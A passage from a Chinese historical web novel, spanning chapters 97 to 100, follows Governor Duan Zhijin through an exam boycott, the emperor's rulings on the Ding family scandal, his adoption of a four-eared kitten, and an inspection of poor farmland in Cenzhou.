玉卿回道:“大人,领头者正是玉卿!还是那一句话,玉卿既然敢做出来这样的事情,生死便已经置之度外了!” 段之缙怒问:“那其他人的命就不是命,其他人的前程就不是前程?崇德年间的罢考,哪一次不是人头滚滚?再者,你可知这次官司的起因?” 段之缙将齐平一事说出,考生们已经有些惊慌,玉卿大声疾呼:“大家不要听信他的一面之词,事情究竟如何还尚未可知!丁家人的行事,我们这些读书人还不知道吗?” 真是疯了,段之缙也不想再浪费口舌,直接道:“既然你们乐意,那就在此坐着吧,只是小心晚上风凉,不要着了风寒。” 段之缙命知府送些薄被子过来,任考生自愿领取,要是觉得这被子“脏”,拢着会玷污他们心中的圣贤之道,那也自便,绝不强求。 “克西府那边还有改土归流的事情,退一万步,没有一个月的功夫,我这总督的职位解不了,改土归流的事情不能缓。等着林忠平来了,叫他和这些人说话,若是有自愿回去的,就自愿回去,若是还想静坐的,也给他们准备饭食衣物,别死了人。” 不再多做解释,段之缙歇了一夜,翌日启程回克西府,兆仁的改土归流开始推进。 因为前边的燧明县已经积累了经验,这次兆仁的改土归流略作变动,推进地十分顺利,分地还设了条件,五年之内不许买卖分得的土地。 分地、驻军、设立学堂、编纂夷律,与此同时,南诏监察御史题参段之缙的折子和段之缙汇报罢考一事的折子一起飞往京城。 郑楒琅催着秦行赶紧赶路,秦行倒是不紧不慢,比折子慢了将近一个月才到京,郑楒琅以为的轩然大波并没有出现,反而有几分诡异的平静。 回京的第二日,秦行和郑楒琅就被传召,皇帝在乾清宫召见官员,手边垒着几本折子。 带着红宝石戒指的手轻轻点折子上,长乐王坐在对面研墨,皇帝看他一眼,“吕太清真是该死了,让你来给朕研墨。” 这话说得古怪,纪祎在端王府的时候,如同服侍父亲一般服侍兄长,别说是研墨,就是端茶递水也常有,整个王府谁不知道?登基之后倒是怪罪起了吕太清,骂人家该死。 纪祎跪到脚踏上,“皇兄说这样的话,比骂臣弟还叫人难受,要是皇上不愿意看臣,臣退下就是。” 纪禅瞧他可怜的样子,拉着他起来,可心里还是有疙瘩。 西宫太后有非分之想,为什么长乐王不主动拒绝?可说起来,自登基之后,大臣们屡次提醒册立太子,他自己的年纪也不小了,从古到今,暴亡的皇帝还少吗?是该立一个太子稳定朝纲的。 实在不行,就先立长子,把位置占下来。 再看一眼低着头的长乐王,皇帝又恨又爱,若他是肃王那个蠢货,早就被自己关了起来,哪能出来气自己? “行了,部里的事情还没有做完,你先去部里。” 打发走了长乐王,皇帝斜靠在坐垫上问道:“案子交到刑部了?” 秦行回道:“昨日到京就送到了刑部。” “你辛苦了,可恨牵涉的人太多,只能抓大放小。德润做的文朕看了,用词真是有几分神气。整个翰林院你的诗、文都是首屈一指,不过凌迟之刑太过残忍,朕为之堕泪,等会儿发道上谕,此类刑罚有违天和,到此为止吧。” 秦行应下来,皇帝又问:“段之缙的改土归流弄得怎么样?可惹出了乱子?你 们和他有亲朕知道,可不能因此包庇了他。” 秦行回道:“有张有弛,不急不躁,改土归流推进的还算顺利。” “德润说呢?” “臣赞同秦部堂的话,段之缙的确是有些本事在身上,不动刀兵就能劝燧明置县,臣等离开时,兆仁也已经指日可待了。”郑楒琅把在南诏看到的都说了,段之缙奇思妙想之多,皇帝啧啧称奇:“那就很好,段之缙这个人的确没有选错。” “还有一事,丁家是怎么一回事?他们真把御匾抬上了公堂?” 郑楒琅回道:“确是如此,他们以丁元敏的子孙自居,在公堂上句句胁迫,知府也偏袒丁家。”他将事情的经过一说,皇帝脸色便不好了。 这两人去南诏,身边跟着的都是御前侍卫,他们回宫后已经和皇帝汇报了事情,昨日已经生气,现在听了还是生气。 倒不是因为丁家骗占土地,而是他们把御匾拿出来招摇,连累了先帝的名声! 给些什么畜生赏了御笔亲书的匾! “朕的老师受了朕的赏,从来都是密而不发,生怕叫人知道了。平日里训诫子弟,决不许他们胡作非为,生怕辱没了门第。丁元敏倒不是讲究人,自家的子弟也教育不好,可见他是骗了皇考。等会儿你给朕拟一道旨意,叫丁家把匾送回来。” 语罢,皇帝把手下的折子一气儿扫到地上,“该参的不参,一个个吃孝敬都吃得忘了自己姓甚名谁。” 地上的折子扑棱棱展开,郑楒琅偷着瞧一眼,全是都察院题参段之缙的折子。 看来段之缙没事儿了。 说完了改土归流和丁家的事情,终于轮到了考生罢考一事,皇帝很显然不想惯着这些人,“抡才大典倒成了他们威胁朝廷官员的手段了,无论丁家是对是错,罢考一事决不能轻饶。既然不想考,那就不用考了。南诏的学风甚坏,士子们妄谈国事、威胁朝廷,叫人题参南诏学政,南诏的一切考试暂停进行,直到他们改好为止。” 皇帝叫秦行下去办事,单单留下了郑楒琅,他命郑楒琅坐在身前的脚踏上,居高临下地说了几句话,话风一转叹道:“人都说生娘不如养娘亲,其实亲子也不如养子亲啊!朝中的风言风语你也听到了,你总跟着长乐王,朕问你,长乐王有没有说过什么僭越的话?” 郑楒琅攥紧了手,低着头回话:“回陛下,长乐王只叫臣写诗作乐,没有跟臣说什么,臣也没有听到长乐王说了什么僭越的话。” “你抬着头看朕。” 郑楒琅手心都要抠出血,硬抬起头盯着皇帝的下巴。 “你是人才,朕怜惜你,长乐王也爱重你,平日跟着他出去好好看着他,倘若他要做错事,你得跟朕说,听明白了吗?” “臣听明白了。” 皇帝脸上浮上一层笑,叫他放松一些,不要吓成这样,之后感慨道:“纪祎不受皇考的待见,幸得有太后抚养,他名义上是朕的弟弟,实际上朕把他当儿子教导。不过到现在也算是明白了,弟弟也好,儿子也罢,都是前世的债,只有父母对着子女不求回报的,可偏偏子女都是贪得无厌。不过即便如此,虎毒尚且不食子,倘若长乐王要犯错,你悄悄告诉朕就行,朕许你随时求见。” “臣知晓了。” “朕还听说你和段之缙都被蒋育成教导过,这个先生你们觉得如何?若是给大皇子做师傅,能不能教好他?” 蒋育成也教导过纪祎,但那是皇帝光嫉恨他打了弟弟的手板子,倒是没关注他教的如何,现在想想,敢打皇子的手板子也是一件好事,叫那不争气的长长记性。 “蒋先生除了严厉些,再无可挑剔。” 那就好,皇帝吩咐人传召蒋育成进京教导皇子,又看了一眼郑楒琅,发觉这个年轻的官员竟然吓得战战兢兢了,这可不好,自己又不是什么疾言厉色的皇帝,于是岔开了话题,“好了,再跟朕说说段之缙的事情,挑点好玩的来说。” 郑楒琅强挂起来笑容把段之缙想要金笺的事情说了,壮着胆子开玩笑:“还请皇上可怜可怜他,赏他一些金笺,也叫他开开眼界。” 皇帝开怀大笑,“小家子气的东西,想要在折子上写便是。你去内务府一趟,从剩下的金笺里挑五张好的来,和朕的回折一块儿送到南诏,其余的你带去给长乐王吧。” 郑楒琅领命退下,出了乾清宫才狠狠舒一口气,额上却冒出一层汗。 领好了大体的方向,兆仁的事情又可以托付给车慧清,段之缙便怀着沉重的心情回了明江府,这时候林忠平已经劝回去了一大部分人,还有几个仍然不走,面如枯槁。 他们算是领头者,事情到了这个地步已经无法收拾,呆在这里和离开的结果一样,都是两个字——完蛋。 与其走,还不如不走,强撑起一份脸面。 段之缙看着玉卿,叹道:“何苦在这里强撑?” 玉卿闭目不说话,段之缙又劝:“回去吧,你们也算是被蒙骗。一心想做刘陶,却适得其反。至于后果如何?到底是在我任上出了罢考的事情,我自身难保更顾不得你了。” 希望秦先生和郑楒琅给力,别真给我议罪了。 第98章 098简州猫 “你别劝了,劝他也没有用,我和林忠平劝了多长时间,要回去早就回去了,现在林忠平都走了,他还留在这里。” 段之缙回头一看,正是学政和微。 “和大人,你怎么在这?” “你这话说的,我是学政,士子罢考我不在这儿在哪里?我还得在这里等着题参呢。真是倒了血霉,等着八月份的乡试过后就能回京了,偏偏在这当前儿出了府试罢考的事情。” 他看着坐在地上脸色煞白的玉卿,冷哼了一声,“多亏了你们几个。” 段之缙自己也等着被人题参呢,幸好熊计舒已经死了,新任的巡抚还没有来,要不然身兼左都御史的巡抚再给他参一道,真是麻烦透顶。 难兄难弟,段之缙安慰和微:“不必挂怀,要走咱们一起走,路上也是个伴儿。” 和微也只能苦中作乐,叹道:“罢罢罢!事到如今还能怎么办?我在这里待不下去了,要回学政衙署伺候我的伶俐。” 伶俐听着不像是女子的名,段之缙问道:“可是小和公子?” 和微哈哈大笑:“是我养的狸奴,配了一窝小狸奴出来,才两个月多一点儿,得我回去照看,要不然不放心。” 段之缙大喜:“可都许了人家了?” 小猫多是在刚出生就预定下来,等着断了奶领走,和微却舍不得他的猫小孩儿,见段之缙问回道:“我一个也不给旁人,就留在衙门里养。” 说到猫,可算是打开了话匣子,和微一边往外走一边说:“伶俐真是个好猫,你没见到它逮耗子的样子,哎呦,活脱脱一个大将军。它还挺骄傲,每回儿都把耗子排成一排,放在我房门口。啧啧,真是有灵性。” “伶俐是个什么花色的猫?” “是简州猫,等会儿带着你瞧瞧,它有四个小耳朵,当真俊得不行。” 管他罢考不罢考的,学政都不在意了自己也不用放在心上,段之缙直接跟和微去了 学政府署,一只略带疲倦的狸花猫就冲了出来,躲在和微身后,猫屁股后边跟着四只小猫,喵喵叫着跟过来,围着大猫打转。 和微将伶俐抱在怀里,心疼地摸摸脑袋,叫随从把小狸奴抱到一边去,而后举着伶俐给段之缙看,“瞧瞧,瞧瞧!是四个耳朵吧?” 段之缙仔细看了看,又小心翼翼地摸了摸,果然是四个耳朵。 大耳朵套着小耳朵,小精灵一样。 段之缙以前便知简州猫是四个耳朵的,但从没仔细瞧过,此时有些称奇:“真了不得,长四个耳朵有什么好处吗?” 和微一本正经,“长两个耳朵听到一种东西,长四个耳朵,我们伶俐就能听到两种的东西,这就是它捕鼠如此厉害的原因。” 段之缙去看了看四个小猫仔,都是四个耳朵的简州猫,越看越喜欢,恳求道:“叫我聘一只吧,这么多的猫你能养得了吗?” 和微瞪他:“净说胡话,我的俸禄再低,还能养不活五个猫吗?南诏可不好得简州猫,这五只可都是稀罕物,我一直也不往外送。” “你受得了,你的伶俐也受不了了,我瞧着这四个小猫缠娘,给我们伶俐缠得憔悴了不少。”他凑上去摸摸伶俐的下巴,口中发出嘬嘬嘬的声音,“是不是啊好伶俐?可怜见儿的小猫,叫你的猫孩子闹成这样……” 和微捏着伶俐下巴抬起来看了看,果然是有点疲惫的样子,自己一个看着四只小猫吧,到底是公务繁杂顾不过来。 算了,给他就给他,但此时两个人都是潜在的罪臣,和微思考片刻道:“先等着京里传来旨意,要是没事儿的话就选个好日子你来聘猫,咱们把聘书写一写,也算是去去晦气。” 段之缙答应下来,又聊了一会儿就启程回总督衙门。 沈白蘋已经得到了明江府府试罢考的消息,一边处理文书一边心急如焚,见他仿若平常一般回来了连忙上去问:“罢考的事情如何了?” “不如何。还有几个人不愿意回去,不回去就不回去,我可要回来了。” 沈白蘋瞧他仿佛事不关己的样子,气得擂了他一拳,怒道:“给我个准话!” 段之缙笑嘻嘻,“反正是福不是祸,是祸躲不过,若是皇上叫我们解释我们就解释,丁家的罪证已经收集了不少,这些送上去是对是错,皇帝自有决断。但是我想着嘛,大概传来旨意的时候,起码要先挨一顿骂,倘若再严重点,大概是革职留任?” 沈白蘋放下心来,只要不死怎么都好说,这南边已经是流放之地了,还能再怎么着? 当一天和尚撞一天钟,现在还是这南、岺二省的总督,段之缙就得干一天的改土归流,最容易的部分已经攻克,段之缙看了各土司所辖的领地和历年的记载,深思熟虑之后决定好好准备一番,直接和水西、乌撒、乌蒙这三个夷部碰一碰。 此三处素来桀骜不驯,贡品也已经停了多年,上一次土司叛乱也是这三个,平叛之后没有设县的条件,因此另选了土司管理,可听说最近又有异动,尤其是在燧明改土归流之后。 这三块儿骨头虽然难啃,但只要啃下来,其他的小土司自然闻风而降。 但是如何下手,还是要去找提督向古商量一番,毕竟自己于用兵一事并不是很通。 又在总督衙门呆了两天,便去了南诏军营,恰巧碰上了士子宣讲的时候。 小军官们在场地上围成一层一层的圈,坐在地上,讲书的廪生被包围在中间。 “……话说那卫律知道苏武绝对不会投降,便报告了单于,单于恼羞成怒之下就把苏武囚禁在地窖里,不给吃不给喝。草原上的风像是刀子割人,还下着鹅毛大雪,可苏武偏偏活了下来。” 一个人起哄:“真神仙了,人不吃不喝又被雪淋的,这还能活?” “哎,就是这句话!单于也以为神了,其实苏武讲雪和毡毛一起吞下充饥,这才忍过了几天。几天之后,单于把苏武弄到了北海边没有人的地方放养,直到公羊产仔才能回到汉地。”、 紧接着大家气愤起来,“公羊怎么产仔?!难道匈奴人都是他爹生的?” 书生没有回答,而是接着讲道:“可苏武,为什么苏武能够青史见名,就是因为他为常人不能为之事。北海没有吃的,他就从草地里挖野鼠储藏的果子吃,朝廷颁给他的符节没有一日放下,无论是放羊还是睡觉都拿在手中,以至于上边的穗子都秃了……” 段之缙看着那廪生娓娓道来,军官们聚精会神,随着情节的推进表情百变,到最后甚至有人落下泪来,人人都是义愤填膺的样子。 段之缙问身边跟着的向古:“大人,这又是讲书又是宣讲的,您能感觉到营中有何变化吗?” 向古仔细回想,称奇道:“你还真别说,打那《大鹏鸟传奇》讲完之后,军官小兵提起来夷人,个个都有一股气在,哪怕是说西北的赤砂人,再往高地上走的穹迦人,也是有那股气在。不像是以前那样,好似事不关己,擎等着领饷打仗。” 段之缙微微一笑,这就对了。 讲了这么多朝廷和夷人对抗的故事,就是为了唤起他们最淳朴的民|族精神,现在也有了点用处。 “火铳弄得如何了?” “火铳火炮都做了改良,用着威力大增。” “士兵们训练呢?之前平叛的时候南诏军伤亡太大,现在适应得如何?” 向古回道:“去了林子里的确比之前强不少。” “倘若要他们和土兵作战呢?” 向古一顿:“苏奋将军是不回来了吗?” 苏奋是上次平定叛乱的人,向古当时束手无策,前任的总督也是一知半解,如无苏奋恐怕是要悬。 段之缙道:“他本就是临时派遣的,现在南诏军的首领是你啊。” 向古忆起当时的惨状,蹙眉道:“这……我也难说。” “不要你们近身肉搏,拿炮轰,用鸟铳射!算了……咱们还是先商讨一下,万一要用兵该从何下手吧。” 两个人回到军帐中,向古拿出地图展开,给段之缙详细解了一番地势。 “三地中水西最为强盛,因为乌撒、乌蒙两块儿地方地势险要,正好把水西挡在最后边,而水西自己虽有险,但天险之后就是平坦的耕地,可谓是得天独厚。” 段之缙看了看,“怪不得上次要联合起来,倘若不联合,水西连山都出不去,何况劫掠汉地?” “正是如此,不过三家关系极好,已经拧成了一股绳。乌蒙和乌撒为水西让开山路,水西给乌蒙、乌撒粮食。三个夷部是相互依存的,若是动其中一个,其他的定然来救。” 段之缙却不信这个,舌头和牙齿还有打架的时候,更何况是三个部族?再不济,就不信找不到带路党。 “不过要是能飞速地拿下乌蒙或者乌撒中的一个,形式就好多了吧?” 向古看了看果然是如此,段之缙就在军营中住了下来,两个人仔细商议。 没过几天,皇帝的密折竟然送到了军营,段之缙打开一看,长舒了一口气。 “朕已洞悉,明发旨意较密折稍迟旬日。照成法,此等纰漏当严词申饬,尔见诏中申饬之语,当知非出本怀。丁门匾额即日解送 内务府,着用黄绸裹了,沿途鸣锣开道。其家二十年来钱粮刑名诸事,一一查明上报。至巡抚缺员,本欲简拔新进,转念尔推行改土归流,若添个不知深浅的掣肘,反误大事。着尔于三司府道中择贤举荐。又有金笺纸五张,赏与你玩。” 第99章 099聘狸奴 向古也在军营中听说了府试罢考的事情,没想到这个总督大人这样受宠,连骂几句都要安慰安慰,恭维道:“段大人这下可以放心了,之后可是要回总督衙门?” “不不,我们先把事情商量好,然后我再回总督衙门写折子上报。若皇帝允准了就准备起来。咱们先礼后兵,先劝降,让他们自动改土归流,倘若他们不愿意再想办法。 “这样是不是会打草惊蛇?” 的确会打草惊蛇,但是段之缙宁愿打草惊蛇,也要给诸夷部土司表态,只要是自愿改土归流的,都可以保全富贵,凡事也都能商量着来,但倘若心怀不轨起兵造反,那朝廷也绝不会客气。 “目前看来这三个土司虽不说是十分安分,但也不能说必定会造反,土司的爵位是几代皇帝承诺的,现在一朝变革本就是朝廷理亏在前,若直接杀上门去,只会引起其他土司的激变,到时候得不偿失。” “咱们要先透出一个消息来,朝廷还是愿意保留他们的职位。” 向古被他说服,两个人接着在军营中商讨用兵的事宜,有章程之后段之缙便先去了学政府署,这会儿他没事儿了,料想和微也不会有事,聘猫的事情得提上日程,今日就先去找他算算日子。 和微此时搂着伶俐唉声叹气,见段之缙来了还大吃一惊。 “你怎么来了?” 段之缙叫他问得一愣,“不是说罢考的事情过了,就来找你选日子聘猫吗?” “你没被议罪?!” “你被议罪了?!” 和微气得伏案痛哭,“凭什么!虽说我是学政,但这个事儿归根到底是你没处理好丁家的事宜才闹到了这个地步,凭什么只给我议罪?” 段之缙扭着手站在一边,犹豫了一会儿上前问道:“你这边接到旨意了?” 和微泪眼朦胧地抬起脸,拿着帕子狠狠擤了擤鼻子。 “上给皇帝的密折送回来了,给我好一顿骂,说不知道我在南诏呆了三年干了些什么,为什么不训导好学生叫他们罢考闹事。” “去年陛下刚登基的时候,还夸我南诏差事办得好,元年乡试要好好准备,为朝廷输送人才,还说乡试之后回京,调我去吏部或者户部做侍郎。现在又说我差事办的不好。这罢考的事件我还能预料到吗?他们说不考就不考了我还能有什么办法?” 现在全泡汤了。 说完重重的叹一口气:“烦死我了。我家里人来信说,本来督察院要题参我的时候,议定着是降两级,但折子还没交上去,皇帝就下令叫督察院题参,都察院这些见风使舵的,还有丁承宗这王八蛋,给我议成了员外郎,辛苦半辈子白干了。” 和微冷冷一笑:“不过我不好过,南诏的这些人也别想好过。从今往后的一切考试停止,断了他们入仕的可能。玉卿等领头闹事者秋后问斩。”也算是出了一口恶气。 段之缙没有遭骂也没有遭罚,但即便是遭骂遭罚又何至于迁怒如此多的人?一省的士子跟着倒霉,实在是太过。 但和微正在气头上,说这些容易惹恼了他。 和微倾吐完了,擦擦眼泪问道:“陛下怎么跟你说的?” 定然不能跟和微说实话,段之缙也哭丧着脸道:“给我一顿臭骂,叫我小心身家性命,但是看在之前改土归流的差事办得不错的份上,这次先饶过我,再有下次数罪并罚,皮也给我扒下来。” 和微唉声叹气:“算了,都是给人家当臣子的,这都是常有的事情。这事儿也算是过去了,咱们去查一个好日子,你挑一只猫走吧。” 聘猫对文人雅士来说总算是一件大事,对和微更是重要,不啻于给儿子娶亲为女儿选婿,特意找了一个算命先生,掐算出一个上上吉日。 段之缙在学政府署住了两天,又去查当地的钱粮刑名,这才等到了六月四日,聘猫的好时辰。 段之缙挑好了一只小公猫,亲写了聘书呈给和微:南岺总督段之缙聘狸奴书。 “伏闻阴阳化育,狸奴乃食鼠灵官;乾坤交感,简州现四耳神兽……” 和微读了开头便忍不住嗤嗤地笑,“四耳神兽,你倒是会写。”随手捞起来被选中的小猫,点点湿润带粉的鼻头,“小家伙,你也成了神兽了。” 顺一顺毛发,接着看道:“谨备云龙古井盐砖一方,赤鳞双鲤一对,今立契。一愿狸君食禄公堂,二嘱灵猫镇守庚方,三祈圣兽爪利齿坚。鼠辈闻风遁,米粟积如山。谨立契书,伏惟灵鉴。” “好!好一个鼠辈闻风遁,米粟积如山。你的聘书写的有意思极了。带着这个有福气的小家伙去总督衙门吧,可怜伶俐还得跟着我奔波回京,没意思透了。” 段之缙把猫搂在怀里抚一抚,看着和微怏怏不乐,跟他说道:“和大人,现在还没有明发旨意说要给你议罪,您要是信得过我,路上走慢些也无妨。我跟皇上求求情,这次的事情谁又能料到呢?再者上次你答应我派遣廪生入军队讲学的恩情我尚未报答,这次无论如何都要劝一劝陛下。” 和微连连摆手,“可别了,皇上正在气头上,你去劝只会惹恼了他,不要为了我引火烧身。上次的事情也只不过是举手之劳,算不得什么恩情。现在事情如此,就此打住吧。” 段之缙坚持道:“皇上这次迁怒太过,我做臣子的本就有劝谏的职责,并非是因为你如何。” 和微十分动容,“锦上添花易,雪中送炭难,你我说到底也不过是萍水相逢,倒如今,你这个朋友我算是交定了。” 段之缙回到总督衙门之后立刻叫包诸上折,包诸听完却是淡淡一笑,“大人,这可就大错特错了。学生问你,停考和要给和大人议罪的消息,你是从哪里听来的?” “和微啊!” “那和大人又是从哪里听来的?” “自然是他京中的家人写信告诉他的。” 包诸一合手,“关键就是这个。两个消息没有一个是从朝廷得来的,陛下的旨意还没有到南诏,大人就什么都知道了。不仅知道了罢考事宜的处置,还知道了和微大人的处置。您是皇上,你会如何想?” 他提醒道:“您能知道此事,无非是两个途径。一则是你京中有人往南诏递消息,二则就是旁人跟你说的,最大的可能性就是和大人。前者是你自己不安分,后者则有总督结交学政的嫌疑。当初学政从总督手下分出来,就是为了直达天听,结果您和学政勾勾连连,皇帝会怎么看?” 段之缙恍然大悟,“对,这个折子不能现在上!” 叫家人将京中的消息传向地方,虽然是各省心照不宣的事情,皇帝睁一只眼闭一只眼,但这件事要是写到了折子上,成为明面的事情,本就是戴罪之身的和微更是罪上加罪。 “那就先等着,等着圣旨到,先把下一步改土归流的策略报给皇上。” 包诸这才动笔写折子。 该发的都发出去,段之缙回了后衙看三个月快四个月的小猫,十分漂亮。 它来了陌生的地方还有点儿害怕,藏在矮桌子底下不敢出来,锁儿就围着桌子“咪咪”叫,想把小猫唤出来。 蘋儿和娘一块儿给锁儿做秋日里的衣裳。 他一年比一年大,不仅说话越来越伶俐,也很会闹人,现在有个猫逗着,终于安生了。 段之缙蹲到儿子身后拍拍他的脑袋道:“你唤人家干什么?它刚来咱们家害怕,躲两天就出来了。” “但是我想和它玩。” “但是它不想和你玩。好啦好啦,天也晚了,给猫猫起个名字咱们就回去睡觉吧。” 锁儿不情不愿,但素来听话,拽着爹爹的领子想了很长时间,郑重道:“就叫一撮吧,段一撮。” 段之缙摸不着头脑,“这是为什么?” “因为段一撮的胸口上有一撮黑毛,所以叫段一撮。” 段之缙叫儿子逗得不行,娘也有些困倦了,将手里的活计放下,带着锁儿回去,屋里头又只剩下夫妻二人。 沈白蘋看一眼桌子底下伸头探爪的段一撮,差点把针攮在手上。 段一撮,真搞不懂这些小孩子是怎么想的,给猫起名字倒还有名有姓。 说起这来,锁儿还是个没名没姓的小娃娃呢,如今落地三年多,也该有个正经名字叫起来,日后上学堂也方便,于是和段之缙说了。 “才三岁,不用着急。” 小孩儿不会很早起大名,因为起了大名,这名字就和性命连在一起,被神仙一叫,孩子还没长成的神魂就飞走了。 珠珠身子这样的康健,还特意找了几位算命先生一同测算,取了一个绝不会冲撞的名字——段訚。 兢兢业业,素丝羔羊。訚訚侃侃,顒顒昂昂。 要他温润谦和,君子如玉。 结果也不知是凑巧还是如何,母亲写信来说,珠珠取了名字之后大病一场,奶膘都掉没了,叫人心疼死。 “等过了年,看着身子再强健点再说吧。” 沈白蘋应下来,两个人收拾收拾东西睡觉。 只是有些受惊的段一撮却不许你睡,灯一黑就开始嚎叫,段之缙以为它是想叫人摸一摸抱一抱,赤脚下床找,结果段一撮吓得四处乱窜,炸成一个毛栗子。 段之缙只好回到床上。 这一连嚎了好几天才安 静下来,段一撮好似大地主在田里巡视一样在屋子里走动,东闻西嗅,而后果然也对得起四只耳朵,南诏 最是湿热多虫的地方,屋里却再见不到一只虫子。 六月中旬,圣旨姗姗来迟,段之缙等得心焦气躁设香案跪接。 不知是谁拟的旨意,也许是皇帝口述官员们记录,文采极好,两三句下去把段之缙骂得面红耳赤,臊眉耷眼,但宣旨大臣滔滔不绝,一卷圣旨需要两个人拿着展开,终于说完了申饬的话,宣旨大臣口干舌燥,接着道:“似此怠玩废弛,何堪表率边陲?限尔三十日内将丁家诸罪查实具奏,若仍不知悛改,朕必另简贤能,代尔之任。” “至于罢考一事,为乱者斩首,余者永不许科考。南诏所有考试一体暂停,学政和微即刻进京。” 第100章 100育婴堂 雷声大雨点小,将段之缙臭骂一顿也就没了后续,段之缙晚上命包诸赶紧写折子送上京去,包诸回道:“求情容易,但是大人要用何种理由呢?理由也得好好选,似可似不可即为不可,得陛下难以拒绝才是。” 段之缙灵机一动,“这样,南诏巡抚举荐车慧清担任,他在克西府,改土归流的经验积累了不少,然后我们顺势请求留下和微,因为派遣廪生入军队宣讲一事一直都是和微操办,离了他总归是有些麻烦。” “至于停考一事,就说南诏风土人情迥异,非土生土长的本地人难以为一方父母之官,请求陛下宽宥南诏诸生,既是陛下仁德,也是因为水西等部族改土归流在即,需要大批的流官。” 包诸便按照他的说法具折上奏。 此后因为还没有皇帝旨意,再加上将入七月了,田赋为大头的岺州收获在即,段之缙便离开南诏去岺州巡视,命明江府知府和林忠平一起调查丁家的事情。 密折一路北上,终于放在了皇帝的案头。 这是丁家事发之后,皇帝头一次召见都察院的丁承祖,他是丁元敏的长房长孙,很受先帝的喜欢,但是据皇帝所知,丁承祖倒不像是丁家的子孙,为人十分正派。 皇帝叫吕太清赐座。 “这是朕头一会儿单独召见你吧。” “回皇上,这的确是臣头一次单独叩见天颜。” “你是督察院的长官,你们家的事都听说了?” 丁承祖一脸疲惫,“一清二楚,罪臣没有管束好族人,罪该万死,请皇上责罚。” 皇帝“嗯”了一声,“你又不是他们的爹,想管也管不了。丁家人给你写信,说了些什么?你又回了些什么?” 丁承祖离开座位叩首道:“陛下圣明烛照,承宗的确给罪臣写了信,叫罪臣配合题参段之缙。罪臣写信回绝了,劝他们安生度日,家中财物已经尽够享用,再多却无益处。” 皇帝冷冷一笑:“我看你南诏的那两个弟弟是发了疯病。占地三十亩去建什么家庙?京城里的十方普觉寺才七十五亩,还是建在了林子里边。他们倒是敢占三十亩的耕地去建家庙。是要供奉谁?你的祖父丁元敏吗?” “怕是建起来,你丁家在南诏,就是孔家在山东了。” 丁承祖再三叩首,只能说“不敢”和“罪该万死”。 “朕不是怪罪你的意思,只是有时候总得大义灭亲,保全自己,这两个弟弟只会连累了你。回去之后,你上一封参丁家的折子来。” 皇帝并没有别的意思,丁承祖和他的两个弟弟不同,和其他的丁家人也不一样。 丁元敏在世的时候深受帝宠,在京郊拥有那么大一座园林,自己贵为亲王看着都眼馋。丁元敏致仕之后他才瞅准机会出重金买了下来。 而丁承祖作为丁家的长房长孙,每年南诏送来的钱都捐给了佛寺、道观和育婴堂,自己却甘守清贫,在城内只有一套两进的小院子,人家的官服都是光鲜亮丽的,就他每每穿到褪色,颜色黯淡了还是接着穿。 再加上他的父亲,丁家的老大也是有才之人,只可惜英年早逝,留下来孤儿,被祖父抚养长大,之后又搬离了丁家,独自出来科考、做官。 他是两袖清风、一颗孤胆,葛礼如日中天的时候,就只有他来回地参奏,皇考夹在奶兄弟和老师的孙子中间,最后只能留中不发。 父皇真是仁君啊…… 不过可惜,皇帝是眼睛里揉不得沙的,他也不屑于留什么仁君的名号,看着跪在地上的丁承祖,皇帝叫他去杌子上坐着。 丁承祖官服显得过于大了些,他将头上的官帽取下,重重叩首:“父为子隐,子为父隐,直在其中矣。陛下以孝治天下,臣若割恩断义,以全己身,恐伤陛下教化之德。今若奉命加刑于至亲,虽全忠名,然心如凌迟。且臣长兄如父,教化之责岂容推卸?现在丁家犯此大错,是臣之过,臣愿同丁家一同论罪。” 皇帝不置可否,只问道:“段之缙给南诏的学生和学政求情,你怎么看?” “本就是被丁家的不肖子孙连累,还请陛下开恩,放过他们吧。” 皇帝抚掌大笑,“他们都错看了你,以为你会同其他人一同题参段之缙,或者是大义灭亲保全自己,没想到你是真君子。你祖父虽没有教导好其他人,倒是把你教导得极好。都察院你肯定是呆不住了,去尚书房教导大皇子吧,倘若他是个有造化的,你能承祖业,祖孙两代帝师倒也是一场佳话。” 丁承祖惊得抬起头直视皇帝,皇帝对他微微一笑,他立刻低下头去,眼泪滚落下来。 两个弟弟是什么样的人,他如何不知道,在京没有一日不是战战兢兢的,来往书信也是叫他们不要胡闹,安安分分地度日。 只是到底是没防住,自己也都做好了流放的准备,结果今日峰回路转,怎能不叫人堕泪。 “罪臣之身,蒙此大恩,臣万死难当。” “那就给朕好好教导大皇子。蒋育成一个人是教不了他了,你和他一块儿细心点儿,等着今年冬至日,朕要册封太子,无论如何先把场面撑起来。” 丁承祖知道朝中的风言风语,皇帝也已经忍到了极点,只希望立太子之后一切流言蜚语顺利地平息,从此之后各安其分。 也难怪了,毕竟陛下刚坐稳皇位就下诏,宗室爵位要降等袭爵,且世 子要等着皇帝册立,不许请封。 而除世子之外,其他的儿子竟只能得一个镇国将军的爵位,到了这般田地,还要一代代地降等,一直到奉国中尉。 丁承祖只觉得千钧重担压在身上,他看着皇帝希冀的眼睛,重重叩首:“臣定不辱命。” 皇帝放心一笑。 …… 岺州的土地有一种难以言明的苍凉感,它是吝啬的,贫瘠的,任你多少的汗水倾洒进去,它就是不发芽,不开花也不结果。 但就是这样,这块儿贫瘠的土地六成的税赋仍然是田赋,可想其他产业的萧条。 粮食是不够吃的,从北边粮多的地方运过来,也就刚能填饱肚子罢了。 段之缙走到地头掏了一把土,这里种的是水稻,若是肥沃的水田,该很油润,可这里的水土略有些生涩,水稻的长势也不是很好。 “这个土应该是卤田放了水改成的水田吧?” 跟着的县令答道:“正如大人所说。” “这样的地并不适合种水稻。” 县令看一眼远处劳作的农夫、农妇,讪讪道:“大人,哪还有什么适合不适合的?就是全种上水稻都养活不了这么些人,若要是再种别的,真就饿死了。” 段之缙查看土壤,黄澄澄的,自顾自地说道:“这样的土,种茶树最好。” 知县咧着嘴看知府,两个人都不说话。 “你们吃得最多的是哪一个省份的粮食?” “是三川、临江一带的粮。” 段之缙把手在水里荡了荡洗净,一边检查有没有叫蚂蟥咬了,一边说:“的确是产粮多的省份,他们还得往京城送粮食。只是如何不种茶树售卖茶叶,而后以厘金或门摊税来买粮。” “大人,一棵茶树种下去,等着能卖茶叶最少也得两年,这两年咱们吃什么?岺州本就是靠着吃协饷艰难维持,若是再有这两年的空当,其他的省份得送更多的协饷,人家能愿意吗?” 段之缙笑道:“不急,咱们一个地方一个地方地改,岺州的每一块土地都得种上该种的东西。再者南诏改土归流,今年的税收定然能够增加,这笔钱送到岺州来。”他说完就往更深处的田里走去,留下知府和县令唉声叹气。 年轻的,一门心思想着立功,可这要是改起来,农户们能愿意吗? 